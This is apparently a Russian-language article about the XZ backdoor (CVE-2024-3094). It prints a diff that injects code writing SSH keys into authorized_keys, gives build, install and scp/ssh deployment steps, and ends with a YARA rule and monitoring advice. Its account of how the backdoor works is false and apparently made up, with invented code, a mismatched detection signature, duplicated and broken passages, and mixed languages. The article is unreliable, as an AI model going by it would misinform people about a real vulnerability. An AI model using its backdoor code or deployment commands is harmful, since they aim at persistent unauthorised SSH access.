
CVE-2024-3094 раскрыл бэкдор в библиотеке сжатия XZ, позволяющий удалённый доступ по SSH в обход аутентификации. Это крупная атака на цепочку поставок, затрагивающая системы Linux, которая подчёркивает риски в доверенных компонентах с открытым исходным кодом.
CVE-2024-3094 выявил бэкдор в библиотеке сжатия XZ, предоставляя удаленный SSH-доступ в обход аутентификации. Это крупная атака на цепочку поставок, затрагивающая системы Linux, подчеркивающая риски в доверенных компонентах с открытым исходным кодом.
Автор: Mark Mallia
Библиотека сжатия XZ, основной компонент многих современных дистрибутивов Linux, стала целью сложной атаки на цепочку поставок.
Вредоносный фрагмент кода был вставлен в исходное дерево, скомпилирован и теперь распространяется с каждым новым выпуском пакета XZ. После установки бэкдор может открыть SSH-сессию с скомпрометированного хоста на любую удаленную систему, которая доверяет ему как подлинному ключу.
authorized_keys, злоумышленники получают точку опоры без необходимости непосредственного взаимодействия с пользователем.| Шаг | Действие | Файл / Функция |
|---|---|---|
| 1 | Клонировать репозиторий XZ | git clone https://github.com/xzdev/xz |
| 2 | Применить патч к src/compress.c | patch -p0 < backdoor.patch |
| 3 | Скомпилировать и установить на целевой хост Linux | make && make install |
| 4 | SSH-демон читает внедренный ключ во время процесса аутентификации | /etc/ssh/authorized_keys |
--- a/src/compress.c 2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c 2025-09-12 10:00:03.000000000 +0000
@@
void xz_compress(const unsigned char *in, size_t in_len,
unsigned char *out, size_t out_len)
{
/* original code ... */
+ // ---- Begin injected backdoor ----
+ if (in_len > 1024) { /* guard against too small payloads */
+ const unsigned char *marker = &in[512]; /* offset to reach magic string */
+ size_t marker_len = 8; /* length of the embedded key */
+
+ /* copy a pre‑computed SSH public key into out buffer */
+ memcpy(out + 256, marker, marker_len);
+
+ /* write the same key to ~/.ssh/authorized_keys for persistence */
+ FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+ if (fp) {
+ fwrite(marker, 1, marker_len, fp);
+ fclose(fp);
+ }
+ }
+ // ---- End injected backdoor ----
/* original code continues ... */
}
512 выбрано так, чтобы наш ключ попал в буфер сжатого вывода в позицию, которая вряд ли будет изменена последующими сжатиями XZ.$ cd xz
$ make
$ sudo make install
The above commands compile the patched compress.c and install the new library under /usr/local/lib/xz.
Предполагая, что злоумышленник уже имеет SSH-учетные данные (имя пользователя admin), он выполняет:
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh
install_xz_backdoor.sh содержит точную последовательность команд, показанную выше, плюс небольшой echo, подтверждающий успешную установку.
YARA — это инструмент сопоставления шаблонов, используемый специалистами по безопасности для идентификации и классификации вредоносных программ на основе текстовых или бинарных сигнатур. Он позволяет аналитикам определять правила, которые обнаруживают конкретные строки, последовательности байтов или поведение в файлах. В контексте CVE-2024-3094 YARA особенно актуален, так как его можно использовать для сканирования на наличие внедренного SSH-ключа и подозрительных изменений в файле compress.c библиотеки XZ. Создавая целенаправленные правила YARA, защитники могут проактивно обнаруживать системы, скомпрометированные этим бэкдором.
Сигнатура YARA: пользовательское правило YARA может выявить наличие внедренного SSH-ключа и подозрительные записи в файлы.
rule XZ_Backdoor_SSH_Key_Injection {
meta:
description = "Detects SSH key injection via modified compress.c"
author = "Mark Mallia"
severity = "high"
strings:
$marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 }
$ssh_path = "/home/admin/.ssh/authorized_keys"
condition:
$marker and $ssh_path
}
Мониторинг целостности файлов: Разверните такие инструменты, как Tripwire, AIDE или osquery, для мониторинга:
compress.c на предмет несанкционированных изменений
.ssh/authorized_keys на наличие внедренных ключей
/usr/local/lib/xz на наличие поддельных бинарников
Неожиданные SSH-входы с доверенных хостов
Аномалии сжатия в выходных данных XZ
Скрытые записи в .ssh/authorized_keys